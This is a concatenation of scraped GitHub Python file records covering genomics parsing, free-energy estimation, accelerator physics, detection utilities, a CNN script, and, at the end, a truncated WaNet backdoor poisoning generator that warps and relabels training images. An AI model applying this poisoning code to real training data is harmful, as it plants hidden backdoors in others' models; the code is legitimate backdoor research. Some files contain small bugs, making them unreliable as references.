prmt_dtag_conut = len(prmt_count_list[1])\n\n if prmt_rmatch == 1:\n # dna\n # prmt\n # brcd\n # tnm\n # m\n od_file.write('%s\\t%s\\t%s\\t%d\\t%d\\n' % (dna_prmt_seq,\n prmt_seq,\n brcd_seq,\n prmt_dtag_conut,\n prmt_read_count))\n\n # Write saved RNA sequences\n # Return RNA stats\n def output_seq(self, output_fn):\n num_brcd = 0\n num_brcd_notpl = 0\n num_reads_notpl = 0\n sum_dtag_count_notpl = 0\n num_valid_brcd = 0\n num_valid_reads = 0\n sum_dtag_count_valid = 0\n \n identified_dna_prmt_set = set()\n\n or_file = open(output_fn, 'w')\n for brcd_seq, prmt_dict in self.rna_seq_dict.iteritems():\n num_brcd += 1\n\n if brcd_seq not in self.dna_tpl_dict:\n num_brcd_notpl += 1\n for prmt_seq in prmt_dict:\n prmt_count_list = prmt_dict[prmt_seq]\n num_reads_notpl += prmt_count_list[0]\n sum_dtag_count_notpl += len(prmt_count_list[1])\n else:\n dna_prmt_seq = self.dna_tpl_dict[brcd_seq][0]\n identified_dna_prmt_set.add(dna_prmt_seq)\n num_valid_brcd += 1\n for prmt_seq, prmt_count_list in prmt_dict.iteritems():\n if rnautil.seq_rmatch(prmt_seq, dna_prmt_seq):\n prmt_rmatch = 1\n else:\n prmt_rmatch = 0\n start_ind = len(dna_prmt_seq) - len(prmt_seq) + 1\n\n prmt_read_count = prmt_count_list[0]\n prmt_dtag_conut = len(prmt_count_list[1])\n\n num_valid_reads += prmt_read_count\n sum_dtag_count_valid += prmt_dtag_conut\n or_file.write(\"%s\\t%s\\t%d\\t%d\\t%d\\t%d\\n\" % (prmt_seq, \n dna_prmt_seq, start_ind, prmt_read_count, prmt_dtag_conut,\n prmt_rmatch))\n or_file.close()\n \n sum_dtag_counts = sum_dtag_count_valid + sum_dtag_count_notpl\n\n stats = \"Sum of digital tag counts: %d\\n\" % sum_dtag_counts\n # Avoid divide by 0\n if sum_dtag_counts == 0:\n sum_dtag_counts = 1\n\n stats += \"Number of total barcodes: %d\\n\" % num_brcd\n if num_brcd == 0:\n num_brcd = 1\n\n stats += \"Number of DNA template promoter regions: %d\\n\" % len(identified_dna_prmt_set)\n stats += \"Number of valid barcodes: %d (%s%%)\\n\" % (\n num_valid_brcd, \n \"{:.4f}\".format(float(num_valid_brcd) / num_brcd * 100))\n seq_cnt = self.num_seq\n if seq_cnt == 0:\n seq_cnt = 1\n stats += \"Number of valid reads: %d (%s%%)\\n\" % (\n num_valid_reads, \n \"{:.4f}\".format(float(num_valid_reads) / seq_cnt * 100))\n stats += \"Sum of valid digital tag counts: %d (%s%%)\\n\" % (\n sum_dtag_count_valid, \n \"{:.4f}\".format(float(sum_dtag_count_valid) / sum_dtag_counts * 100))\n\n stats += \"Number of no-dna-template barcodes: %d (%s%%)\\n\" % (\n num_brcd_notpl, \n \"{:.4f}\".format(float(num_brcd_notpl) / num_brcd * 100))\n stats += \"Number of no-dna-template reads: %d (%s%%)\\n\" % (\n num_reads_notpl, \n \"{:.4f}\".format(float(num_reads_notpl) / seq_cnt * 100))\n stats += \"Sum of no-dna-template digital tag counts: %d (%s%%)\\n\" % (\n sum_dtag_count_notpl, \n \"{:.4f}\".format(float(sum_dtag_count_notpl) / sum_dtag_counts * 100))\n return stats\n\n\n\ndef parse_rna_fastq_files(qcutoff, dlen, plen, blen, idna_parsed_fn, or_fn, \n os_fn, ifn_list, dump_m_prmt_brcd = False):\n num_total_reads = 0\n num_struct_failed_reads = 0\n num_qual_failed_reads = 0\n num_parsed_reads = 0\n\n # {brcd : {prmt : [raw_cnt, {dtag : rawcnt, ...}], ...}, ...}\n rna_seq_container = RNASequenceContainer(idna_parsed_fn)\n\n for seq_fn in ifn_list:\n for seqid, seq, rseqid, qscore in fastqutil.iterate_fastq_file(seq_fn):\n num_total_reads += 1\n\n seq_parse_result = parse_rna_seq(seq, qscore, qcutoff, dlen, plen, blen)\n if seq_parse_result in (\"SHORT_SEQ\", \"MID_SEQ_NOT_FOUND\", \n \"END_SEQ_NOT_FOUND\"):\n num_struct_failed_reads += 1\n elif seq_parse_result == \"QUAL_FAILED\":\n num_qual_failed_reads += 1\n else:\n num_parsed_reads += 1\n dtag_seq, prmt_seq, brcd_seq = seq_parse_result\n rna_seq_container.insert_seq(dtag_seq, prmt_seq, brcd_seq)\n\n # Generate read stats \n stats = \"RNA files: \" + str(ifn_list) + \"\\n\"\n stats += \"DNA template file: \" + idna_parsed_fn + \"\\n\"\n stats += \"Digital tag length: %d\\n\" % dlen\n stats += \"Promoter region length: %d\\n\" % plen\n stats += \"Middle sequence: \" + MID_SEQ + \"\\n\"\n stats += \"Barcode region length: %d\\n\" % blen\n stats += \"End sequence: \" + END_SEQ + \"\\n\"\n stats += \"Quality score cutoff: %d\\n\\n\" % (ord(qcutoff) - 33)\n stats += \"Total number of reads: %d\\n\" % num_total_reads\n # Avoid divide by 0\n if num_total_reads == 0:\n num_total_reads = 1\n\n stats += \"Number of parsed reads: %d (%s%%)\\n\" % (\n num_parsed_reads, \n \"{:.4f}\".format(float(num_parsed_reads) / num_total_reads * 100))\n\n stats += \"Number of structure failed reads: %d (%s%%)\\n\" % (\n num_struct_failed_reads, \n \"{:.4f}\".format(float(num_struct_failed_reads) / num_total_reads * 100))\n stats += \"Number of quality failed reads: %d (%s%%)\\n\\n\" % (\n num_qual_failed_reads, \n \"{:.4f}\".format(float(num_qual_failed_reads) / num_total_reads * 100))\n\n stats += \"For all %d parsed reads:\\n\" % num_parsed_reads\n stats += rna_seq_container.output_seq(or_fn)\n\n with open(os_fn, 'w') as os_file:\n os_file.write(stats)\n\n od_fn = or_fn + '.m_prmt_brcd_dump'\n if dump_m_prmt_brcd:\n rna_seq_container.dump_m_prmt_brcd_seq(od_fn)\n\n return num_total_reads\n\ndef main():\n arg_parser = argparse.ArgumentParser()\n \n arg_parser.add_argument('-d', '--dump', \n help = 'Sepcify this argument to dump the matched DNA and RNA'\n 'promoter region and barcode sequences into anoter'\n 'output file suffixed with .pbdump',\n action = 'store_true')\n\n arg_parser.add_argument('-q', '--qcutoff', type = int, default = 0,\n help = 'FASTQ per base Phred quality score cutoff.'\n 'Discard reads with quality score < qcutoff')\n\n arg_parser.add_argument('dlen', metavar = '',\n type = int)\n\n arg_parser.add_argument('plen', metavar = '',\n type = int)\n\n arg_parser.add_argument('blen', metavar = '',\n type = int)\n\n arg_parser.add_argument('idna_parsed_fn', metavar = '')\n\n arg_parser.add_argument('or_fn', metavar = '')\n\n arg_parser.add_argument('os_fn', metavar = '')\n\n arg_parser.add_argument('ifn_list', nargs = '+',\n metavar = '')\n\n args = arg_parser.parse_args()\n \n parse_rna_fastq_files(fastqutil.phread_quality_int_to_char(args.qcutoff),\n args.dlen, args.plen, args.blen, args.idna_parsed_fn,\n args.or_fn, args.os_fn, args.ifn_list, args.dump)\n\n return 0\n\nif __name__ == '__main__':\n main()\n","repo_name":"NickelsLabRutgers/MASTER-EX-CLT","sub_path":"src/parse_master_rna_fastq.py","file_name":"parse_master_rna_fastq.py","file_ext":"py","file_size_in_byte":12210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41128761768","text":"__author__ = 'noe'\n\nimport numpy as np\n\ndef mean_finite_(x, min_finite=1):\n \"\"\" Computes mean over finite values \"\"\"\n isfin = np.isfinite(x)\n if np.count_nonzero(isfin) > min_finite:\n return np.mean(x[isfin])\n else:\n return np.nan\n\ndef std_finite_(x, min_finite=2):\n \"\"\" Computes mean over finite values \"\"\"\n isfin = np.isfinite(x)\n if np.count_nonzero(isfin) >= min_finite:\n return np.std(x[isfin])\n else:\n return np.nan\n\ndef mean_finite(x, axis=None, min_finite=1):\n if axis is None:\n return mean_finite_(x)\n if axis == 0 or axis == 1:\n M = np.zeros((x.shape[axis-1],))\n for i in range(x.shape[axis-1]):\n if axis == 0:\n M[i] = mean_finite_(x[:, i])\n else:\n M[i] = mean_finite_(x[i])\n return M\n else:\n raise NotImplementedError('axis value not implemented:', axis)\n\ndef std_finite(x, axis=None, min_finite=2):\n if axis is None:\n return mean_finite_(x)\n if axis == 0 or axis == 1:\n S = np.zeros((x.shape[axis-1],))\n for i in range(x.shape[axis-1]):\n if axis == 0:\n S[i] = std_finite_(x[:, i])\n else:\n S[i] = std_finite_(x[i])\n return S\n else:\n raise NotImplementedError('axis value not implemented:', axis)\n\ndef metropolis_function(x):\n return np.minimum(np.exp(-x), 1)\n\ndef bar(sampled_a_uab, sampled_b_uba):\n \"\"\"\n Parameters:\n -----------\n sampled_a_uab : array\n Ub-Ua for samples in A\n sampled_b_uba : array\n Ua-Ub for samples in B\n \"\"\"\n R = np.mean(metropolis_function(sampled_a_uab)) / np.mean(metropolis_function(sampled_b_uba))\n return -np.log(R)\n\ndef free_energy_bootstrap(D, bins=100, range=None, log_weights=None, bias=None, temperature=1.0,\n nbootstrap=100, align_bins=None):\n \"\"\" Bootstrapped free energy calculation\n\n If D is a single array, bootstraps by sample. If D is a list of arrays, bootstraps by trajectories\n\n Parameters\n ----------\n D : array of list of arrays\n Samples in the coordinate in which we compute the free energy\n bins : int\n Number of bins\n range : None or (float, float)\n value range for bins, if not given will be chosen by min and max values of D\n nbootstrap : int\n number of bootstraps\n log_weights : None or arrays matching D\n sample weights\n bias : function\n if not None, the given bias will be removed.\n align_bins : None or indices\n if not None, will shift samples to align at the given bins indices\n\n Returns\n -------\n bin_means : array((nbins,))\n mean positions of bins\n Es : array((sample, nbins))\n for each bootstrap the free energies of bins.\n\n \"\"\"\n if range is None:\n range = (np.min(D), np.max(D))\n bin_edges = None\n Es = []\n by_traj = isinstance(D, list)\n for _ in np.arange(nbootstrap):\n Isel = np.random.choice(len(D), size=len(D), replace=True)\n if by_traj:\n Dsample = np.concatenate([D[i] for i in Isel])\n Wsample = None\n if log_weights is not None:\n log_Wsample = np.concatenate([log_weights[i] for i in Isel])\n Wsample = np.exp(log_Wsample - log_Wsample.max())\n Psample, bin_edges = np.histogram(Dsample, bins=bins, range=range, weights=Wsample, density=True)\n else:\n Dsample = D[Isel]\n Wsample = None\n if log_weights is not None:\n log_Wsample = log_weights[Isel]\n Wsample = np.exp(log_Wsample - log_Wsample.max())\n Psample, bin_edges = np.histogram(Dsample, bins=bins, range=range, weights=Wsample, density=True)\n E = -np.log(Psample)\n if align_bins is not None:\n E -= E[align_bins].mean()\n Es.append(E)\n Es = np.vstack(Es)\n bin_means = 0.5 * (bin_edges[:-1] + bin_edges[1:])\n\n if bias is not None:\n B = bias(bin_means) / temperature\n Es -= B\n\n return bin_means, Es# / temperature\n\n\ndef free_energy_bootstrap_2BGs(bg1, bg2, nsamples, nbootstrap, temperature=1.0, verbose=False):\n \"\"\" Computes free energy difference between the states sampled by two Boltzmann generators\n with a joint latent space\n\n Parameters\n ----------\n bg1 : EnergyInvNet\n Boltzmann Generator 1\n bg2 : EnergyInvNet\n Boltzmann Generator 2\n nsamples : int\n number of samples used in each bootstrap\n nbootstrap : int\n number of bootstrap samples\n\n Returns\n -------\n dFs : array\n Array of bootstrapped samples of free energy differences F2-F1.\n\n \"\"\"\n dEs = []\n W1s = []\n W2s = []\n nsample_per_bootstrap = min(100000, nsamples)\n niter = int(nsamples / nsample_per_bootstrap)\n for i in range(niter):\n if verbose:\n print(i)\n sample_z = np.sqrt(temperature) * np.random.randn(nsample_per_bootstrap, bg1.dim)\n sample_x1, sampleJzx1 = bg1.transform_zxJ(sample_z)\n energies_sample_x1 = bg1.energy_model.energy(sample_x1)\n sample_x2, sampleJzx2 = bg2.transform_zxJ(sample_z)\n energies_sample_x2 = bg1.energy_model.energy(sample_x2)\n\n energies_sample_z = bg1.dim + np.sum(sample_z**2, axis=1) / (2.0 * temperature)\n logw1 = -energies_sample_x1 + energies_sample_z + sampleJzx1\n w1 = np.exp((logw1 - logw1.max()) / temperature)\n logw2 = -energies_sample_x2 + energies_sample_z + sampleJzx2\n w2 = np.exp((logw2 - logw2.max()) / temperature)\n\n dE = energies_sample_x2 - sampleJzx2 - energies_sample_x1 + sampleJzx1\n dEs.append(dE)\n W1s.append(w1)\n W2s.append(w2)\n dEs = np.concatenate(dEs)\n W1s = np.concatenate(W1s)\n W2s = np.concatenate(W2s)\n\n # Bootstrap free energy difference\n dFs = []\n for i in range(nbootstrap):\n I = np.arange(W1s.size)\n Isel = np.random.choice(I, I.size)\n f = np.minimum(np.exp(-dEs[Isel] / temperature), 1.0)\n p12 = np.sum(W1s[Isel] * f) / np.sum(W1s[Isel])\n f = np.minimum(np.exp(dEs[Isel] / temperature), 1.0)\n p21 = np.sum(W2s[Isel] * f) / np.sum(W2s[Isel])\n dFs.append(-temperature * np.log(p12/p21))\n\n return dFs\n\n\ndef free_energy_bootstrap_2BGs_databased(bg1, bg2, x1, x2, nbootstrap, temperature=1.0, verbose=False):\n \"\"\" Computes free energy difference between the states sampled by two Boltzmann generators\n with a joint latent space\n\n Parameters\n ----------\n bg1 : EnergyInvNet\n Boltzmann Generator 1\n bg2 : EnergyInvNet\n Boltzmann Generator 2\n x1 : array\n locally weighted samples in state 1\n x2 : array\n locally weighted samples in state 2\n nbootstrap : int\n number of bootstrap samples\n\n Returns\n -------\n dFs : array\n Array of bootstrapped samples of free energy differences F2-F1 at the reference temperature 1.\n\n \"\"\"\n energies_x1 = bg1.energy_model.energy(x1)\n energies_x2 = bg2.energy_model.energy(x2)\n z1, Jxz1 = bg1.transform_zxJ(x1)\n z2, Jxz2 = bg1.transform_zxJ(x2)\n energies_z1 = bg1.dim + np.sum(z1**2, axis=1) / (2.0 * temperature)\n energies_z2 = bg1.dim + np.sum(z2**2, axis=1) / (2.0 * temperature)\n\n # weights\n logW1 = -energies_z1 + energies_x1 + Jxz1\n W1 = np.exp((logW1 - logW1.max()) / temperature)\n logW2 = -energies_z2 + energies_x2 + Jxz2\n W2 = np.exp((logW2 - logW2.max()) / temperature)\n dE = energies_z2 - Jxz2 - energies_z1 + Jxz1\n\n # Bootstrap free energy difference\n dFs = []\n I = np.arange(W1.shape[0])\n for i in range(nbootstrap):\n Isel = np.random.choice(I, I.size)\n f = np.minimum(np.exp(-dE[Isel] / temperature), 1.0)\n p12 = np.sum(W1[Isel] * f) / np.sum(W1[Isel])\n f = np.minimum(np.exp(dE[Isel] / temperature), 1.0)\n p21 = np.sum(W2[Isel] * f) / np.sum(W2[Isel])\n dFs.append(-np.log(p12/p21))\n\n return dFs","repo_name":"jbinagia/CS-230-Final-Project","sub_path":"examples/deep_boltzmann/deep_boltzmann/sampling/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":8011,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"23266292898","text":"class Solution:\n def dailyTemperatures(self, temperatures):\n stack = []\n res = [0] * len(temperatures)\n for i, temp in enumerate(temperatures):\n while stack and temp > temperatures[stack[-1]]: \n res[stack[-1]] = i - stack[-1]\n stack.pop()\n stack.append(i)\n \n return res","repo_name":"mwhiatt/leetcode-practice","sub_path":"stack/daily_temps/daily_temps.py","file_name":"daily_temps.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17045635509","text":"# SAM to Python Conversion\n# DJS August 2017\n# Version 0.1\n#\nfrom ComponentBase import ComponentBase\n# from ..SAMMlab import Beam\nfrom ..SAMMlab import MasterOscillator\nfrom ..SAMMlab import PhysicalConstants as PhyC\nimport numpy\nimport math\n\nclass RFCavity(ComponentBase):\n def __init__(self, voltage=0, harmonic=1, phase=numpy.pi, length=0,\n name=\"\", aperture=[]):\n ComponentBase.__init__(self, length, name, aperture)\n # in volts\n self.voltage = voltage\n # frequency (in units of master oscillator frequency)\n self.harmonic = harmonic\n # relative to master oscillator, in radians\n self.phase = phase\n # 1x2 array of elliptical aperture half-axes, in metres\n self.aperture = aperture\n\n # @property\n\n def setFrequency(self, f):\n MasterOscillator.frequency = f / self.harmonic\n\n def getFrequency(self):\n return self.harmonic * MasterOscillator.frequency\n\n def Track(self, beam):\n # Applies the dynamical map for an RF cavity to the particles\n # in beam1. The reference momentum is unchanged.\n beta0 = beam.beta\n mofreq = MasterOscillator.frequency\n ds = self.length\n f = self.harmonic * mofreq\n # First apply a drift through ds/2\n d1 = math.sqrt(1 - beam.px**2 - beam.py**2 + 2 * beam.dp / beta0 +\n beam.dp**2)\n x1 = beam.x + ds * beam.px / d1 / 2\n y1 = beam.y + ds * beam.py / d1 / 2\n ct1 = beam.ct + ds * (1 - (1 + beam.dp * beta0) / d1) / beta0 / 2\n # Next, apply an rf 'kick'\n p = math.floor(beam.globaltime * mofreq)\n beam.globaltime = beam.globaltime - (p / mofreq)\n t = beam.globaltime - (ct1 / (beta0 * PhyC.SpeedOfLight))\n ft = (f * t) - math.floor(f * t)\n vnorm = self.voltage / beam.rigidity / PhyC.SpeedOfLight\n dp1 = beam.dp + (vnorm * math.sin((2 * math.pi * ft) + self.phase))\n # Finally, apply a second drift through ds/2\n d1 = math.sqrt(1 - beam.px**2 - beam.py**2 + 2 * dp1 / beta0 +\n dp1**2)\n beam.x = x1 + (ds * beam.x) / d1 / 2\n beam.y = y1 + (ds * beam.y) / d1 / 2\n beam.ct = ct1 + ds * (1 - (1 + beta0 * dp1) / d1) / beta0 / 2\n\n # save\n self.lastTrackedBeam = beam\n # @momentum.setter\n # def momentum(self, momentum):\n # self.__rigidity = momentum / self.species.charge\n\n # function set.frequency(rfcavity,f)\n # f1 = rfcavity.harmonic * MasterOscillator.GetFrequency();\n # MasterOscillator.SetFrequency(MasterOscillator.GetFrequency()*f/f1);\n # end\n\n # function f = get.frequency(rfcavity)\n # f = rfcavity.harmonic * MasterOscillator.GetFrequency();\n # end\n\n\n# classdef RFCavity < handle\n# % RFCavity class\n# %\n# % Properties:\n# % name\n# % length\n# % voltage\n# % harmonic\n# % phase\n# % aperture\n# %\n# % Methods:\n# % Track\n#\n# properties\n# name = ''; % string\n# length = 0; % in metres\n# voltage = 0; % in volts\n# harmonic = 1; % frequency (in units of master oscillator frequency)\n# phase = pi; % relative to master oscillator, in radians\n# aperture = []; % 1x2 array of elliptical aperture half-axes, in metres\n# end % properties\n#\n# properties (Dependent=true)\n# frequency;\n# end % properties (dependent)\n#\n# methods\n#\n# function set.frequency(rfcavity,f)\n# f1 = rfcavity.harmonic * MasterOscillator.GetFrequency();\n# MasterOscillator.SetFrequency(MasterOscillator.GetFrequency()*f/f1);\n# end\n#\n# function f = get.frequency(rfcavity)\n# f = rfcavity.harmonic * MasterOscillator.GetFrequency();\n# end\n#\n# function beam = Track(rfcavity,beam)\n# % beam2 = RFCavity.Track(beam1)\n# % Applies the dynamical map for an RF cavity to the particles\n# % in beam1. The reference momentum is unchanged.\n#\n# [x0, px0, y0, py0, ct0, dp0] = beam.GetParticles();\n#\n# beta0 = beam.beta;\n#\n# mofreq = MasterOscillator.GetFrequency();\n#\n# ds = rfcavity.length;\n# f = rfcavity.harmonic*mofreq;\n#\n# % First apply a drift through ds/2\n# d1 = sqrt(1 - px0.*px0 - py0.*py0 + 2*dp0/beta0 + dp0.*dp0);\n#\n# x1 = x0 + ds*px0./d1/2;\n# y1 = y0 + ds*py0./d1/2;\n# ct1 = ct0 + ds*(1 - (1 + beta0*dp0)./d1)/beta0/2;\n#\n# % Next, apply an rf 'kick'\n# p = floor(beam.globaltime*mofreq);\n# beam.globaltime = beam.globaltime - p/mofreq;\n# t = beam.globaltime - ct1/(beta0*PhysicalConstants.SpeedOfLight);\n# ft = f*t - floor(f*t);\n#\n# vnorm = rfcavity.voltage/beam.rigidity/PhysicalConstants.SpeedOfLight;\n# dp1 = dp0 + vnorm*sin(2*pi*ft + rfcavity.phase);\n#\n# % Finally, apply a second drift through ds/2\n# d1 = sqrt(1 - px0.*px0 - py0.*py0 + 2*dp1/beta0 + dp1.*dp1);\n#\n# x2 = x1 + ds*px0./d1/2;\n# y2 = y1 + ds*py0./d1/2;\n# ct2 = ct1 + ds*(1 - (1 + beta0*dp1)./d1)/beta0/2;\n#\n# beam.SetParticles(x2, px0, y2, py0, ct2, dp1);\n#\n# end % function Track\n#\n# function TrackLibrary(rfcavity,trackingMethod,libroutine)\n#\n# mofreq = MasterOscillator.GetFrequency();\n#\n# rfcavity1.length = rfcavity.length;\n# rfcavity1.voltage = rfcavity.voltage;\n# rfcavity1.frequency = rfcavity.harmonic * mofreq;\n# rfcavity1.phase = rfcavity.phase;\n# rfcavity1.masteroscillatorfrequency = mofreq;\n#\n# if(~isempty(rfcavity.aperture))\n# rfcavity1.apertureX = rfcavity.aperture(1);\n# rfcavity1.apertureY = rfcavity.aperture(2);\n# end\n#\n# calllib(trackingMethod,[libroutine 'RFCavity'],rfcavity1);\n#\n# end % function TrackLibrary\n#\n# end % methods\n#\n# end % classdef RFCavity\n","repo_name":"VELA-CLARA-software/SimFramed","sub_path":"SAMM3.0/Python/SAMMcore/Components/RFCavity.py","file_name":"RFCavity.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"13715224622","text":"import torch\nimport numpy as np\n\n\ndef bbox_convert_corners_to_sizes(box):\n \"\"\"\n Convert (ymin, xmin, ymax, xmax) => (ymin, xmin, height, width) representation.\n \"\"\"\n ymin, xmin, ymax, xmax = box\n return (ymin, xmin, ymax - ymin, xmax - xmin)\n\n\ndef bbox_convert_sizes_to_corners(box):\n \"\"\"\n Convert (ymin, xmin, height, width) => (ymin, xmin, ymax, xmax) representation.\n \"\"\"\n ymin, xmin, height, width = box\n return (ymin, xmin, ymin + height, xmin + width)\n\n\ndef calculate_iou(boxesA, boxesB, lib=\"torch\"):\n \"\"\"\n Compute IoU between two sets of boxes.\n\n Parameters\n ----------\n boxesA: M x 4 torch tensor or numpy array\n boxesB: N x 4 torch tensor or numpy array\n\n Returns\n -------\n ious: M x N tensor or array\n\n Notes\n -----\n Assumes the representation of boxes are as (xmin, ymin, width, height)\n \"\"\"\n # extract the corners of the bounding boxes\n A_x1, B_x1 = boxesA[:, 0], boxesB[:, 0]\n A_y1, B_y1 = boxesA[:, 1], boxesB[:, 1]\n A_x2, B_x2 = boxesA[:, 0] + boxesA[:, 2], boxesB[:, 0] + boxesB[:, 2]\n A_y2, B_y2 = boxesA[:, 1] + boxesA[:, 3], boxesB[:, 1] + boxesB[:, 3]\n\n # intersection coordinates\n if lib == \"torch\":\n A_x1, A_y1 = A_x1.unsqueeze(1), A_y1.unsqueeze(1)\n A_x2, A_y2 = A_x2.unsqueeze(1), A_y2.unsqueeze(1)\n B_x1, B_y1 = B_x1.unsqueeze(0), B_y1.unsqueeze(0)\n B_x2, B_y2 = B_x2.unsqueeze(0), B_y2.unsqueeze(0)\n x_left = torch.max(A_x1, B_x1)\n y_bottom = torch.max(A_y1, B_y1)\n x_right = torch.min(A_x2, B_x2)\n y_top = torch.min(A_y2, B_y2)\n elif lib == \"numpy\":\n A_x1, A_y1 = A_x1[:, np.newaxis], A_y1[:, np.newaxis]\n A_x2, A_y2 = A_x2[:, np.newaxis], A_y2[:, np.newaxis]\n B_x1, B_y1 = B_x1[np.newaxis, :], B_y1[np.newaxis, :]\n B_x2, B_y2 = B_x2[np.newaxis, :], B_y2[np.newaxis, :]\n x_left = np.maximum(A_x1, B_x1)\n y_bottom = np.maximum(A_y1, B_y1)\n x_right = np.minimum(A_x2, B_x2)\n y_top = np.minimum(A_y2, B_y2)\n else:\n raise ValueError\n\n # straightforward area calculation for intersection over union\n intersection_area = (x_right - x_left) * (y_top - y_bottom)\n A_area = (A_x2 - A_x1) * (A_y2 - A_y1)\n B_area = (B_x2 - B_x1) * (B_y2 - B_y1)\n\n iou = intersection_area / (A_area + B_area - intersection_area)\n iou[x_right < x_left] = 0.0\n iou[y_top < y_bottom] = 0.0\n return iou\n\n\ndef calculate_nms(boxes, scores, threshold=0.5):\n \"\"\"\n Calculate the non-maximum suppression of a set of boxes.\n\n Returns\n -------\n sel_boxes: list of selected boxes each a tensor of length 4\n sel_scores: list of selected box scores each a float\n \"\"\"\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2] + boxes[:, 0]\n y2 = boxes[:, 3] + boxes[:, 1]\n\n _, order = scores.sort(0, descending=True)\n sel_boxes, sel_scores = [], []\n \n while len(order) > 0:\n \n i = order[0]\n sel_boxes.append(boxes[i])\n sel_scores.append(scores[i])\n iou = calculate_iou(boxes[order], boxes[i].unsqueeze(0)).squeeze()\n order = order[(iou < threshold) & ~(torch.isnan(iou)) & (order != i)]\n \n return sel_boxes, sel_scores\n\n","repo_name":"tonyduan/retinanet-detection","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"20504647436","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.callbacks import TensorBoard\nimport pickle\nimport time\nimport sklearn.model_selection as sk\n\nX = pickle.load(open(\"F:/datasets/Lego_models_error_detection/X.pickle\", \"rb\"))\ny = pickle.load(open(\"F:/datasets/Lego_models_error_detection/y.pickle\", \"rb\"))\n\nX = X / 255.0\ny = to_categorical(y, 3) # you need to set how many categories there are\n\nX_train, X_test, y_train, y_test = sk.train_test_split(X, y, test_size=0.20, random_state=42)\n\n# starting parameters\nBATCH = 32\n\nfor i in range(4):\n NAME = \"lego_error_layer{}_{}\".format(i * 16, int(time.time()))\n tensorboard = TensorBoard(log_dir='logs/{}'.format(NAME))\n print(NAME)\n model = Sequential()\n model.add(Conv2D(16, (3, 3), activation='relu', input_shape=X_train.shape[1:]))\n model.add(MaxPooling2D(2, 2))\n #\n model.add(Conv2D(32, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n #\n model.add(Conv2D(64, (3, 3), activation='relu'))\n model.add(MaxPooling2D(2, 2))\n #\n model.add(Flatten())\n #\n model.add(Dense(512, activation='relu'))\n #\n model.add(Dense(3, activation='softmax'))\n\n model.compile(loss='categorical_crossentropy',\n optimizer=\"adam\",\n metrics=['accuracy'])\n\n model_fit = model.fit(X_train, y_train, batch_size=BATCH,\n epochs=30,\n validation_data=(X_test, y_test),\n callbacks=[tensorboard])\n","repo_name":"istvanaut/TK-MachineLearning","sub_path":"Old/DRHO37/kódok/EnchantedBuilderwithTensorBoardOptimize.py","file_name":"EnchantedBuilderwithTensorBoardOptimize.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"28906902782","text":"import os\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport random\nfrom torchvision.utils import save_image\nfrom config import poison_seed\n\n\"\"\"\nWaNet (static poisoning). https://github.com/VinAIResearch/Warping-based_Backdoor_Attack-release\n\"\"\"\n\nclass poison_generator():\n\n def __init__(self, img_size, dataset, poison_rate, cover_rate, path, identity_grid, noise_grid, s=0.5, k=4, grid_rescale=1, target_class=0):\n\n self.img_size = img_size\n self.dataset = dataset\n self.poison_rate = poison_rate\n self.cover_rate = cover_rate \n self.path = path # path to save the dataset\n self.target_class = target_class # by default : target_class = 0\n\n # number of images\n self.num_img = len(dataset)\n \n self.s = s\n self.k = k\n self.grid_rescale = grid_rescale\n self.identity_grid = identity_grid\n self.noise_grid = noise_grid\n\n def generate_poisoned_training_set(self):\n torch.manual_seed(poison_seed)\n random.seed(poison_seed)\n\n # random sampling\n id_set = list(range(0,self.num_img))\n random.shuffle(id_set)\n num_poison = int(self.num_img * self.poison_rate)\n poison_indices = id_set[:num_poison]\n poison_indices.sort() # increasing order\n\n num_cover = int(self.num_img * self.cover_rate)\n cover_indices = id_set[num_poison:num_poison+num_cover] # use **non-overlapping** images to cover\n cover_indices.sort()\n\n \n img_set = []\n label_set = []\n pt = 0\n ct = 0\n cnt = 0\n\n poison_id = []\n cover_id = []\n\n\n grid_temps = (self.identity_grid + self.s * self.noise_grid / self.img_size) * self.grid_rescale\n grid_temps = torch.clamp(grid_temps, -1, 1)\n\n ins = torch.rand(1, self.img_size, self.img_size, 2) * 2 - 1\n grid_temps2 = grid_temps + ins / self.img_size\n grid_temps2 = torch.clamp(grid_temps2, -1, 1)\n\n for i in range(self.num_img):\n img, gt = self.dataset[i]\n\n # noise image\n if ct < num_cover and cover_indices[ct] == i:\n cover_id.append(cnt)\n img = F.grid_sample(img.unsqueeze(0), grid_temps2, align_corners=True)[0]\n ct+=1\n\n # poisoned image\n if pt < num_poison and poison_indices[pt] == i:\n poison_id.append(cnt)\n gt = self.target_class # change the label to the target class\n img = F.grid_sample(img.unsqueeze(0), grid_temps, align_corners=True)[0]\n pt+=1\n\n # img_file_name = '%d.png' % cnt\n # img_file_path = os.path.join(self.path, img_file_name)\n # save_image(img, img_file_path)\n # print('[Generate Poisoned Set] Save %s' % img_file_path)\n \n img_set.append(img.unsqueeze(0))\n label_set.append(gt)\n cnt+=1\n\n img_set = torch.cat(img_set, dim=0)\n label_set = torch.LongTensor(label_set)\n poison_indices = poison_id\n cover_indices = cover_id\n print(\"Poison indices:\", poison_indices)\n print(\"Cover indices:\", cover_indices)\n\n # demo\n img, gt = self.dataset[0]\n img = F.grid_sample(img.unsqueeze(0), grid_temps, align_corners=True)[0]\n save_image(img, os.path.join(self.path, 'demo.png'))\n\n return img_set, poison_indices, cover_indices, label_set\n\n\nclass poison_transform():\n\n def __init__(self, img_size, normalizer, 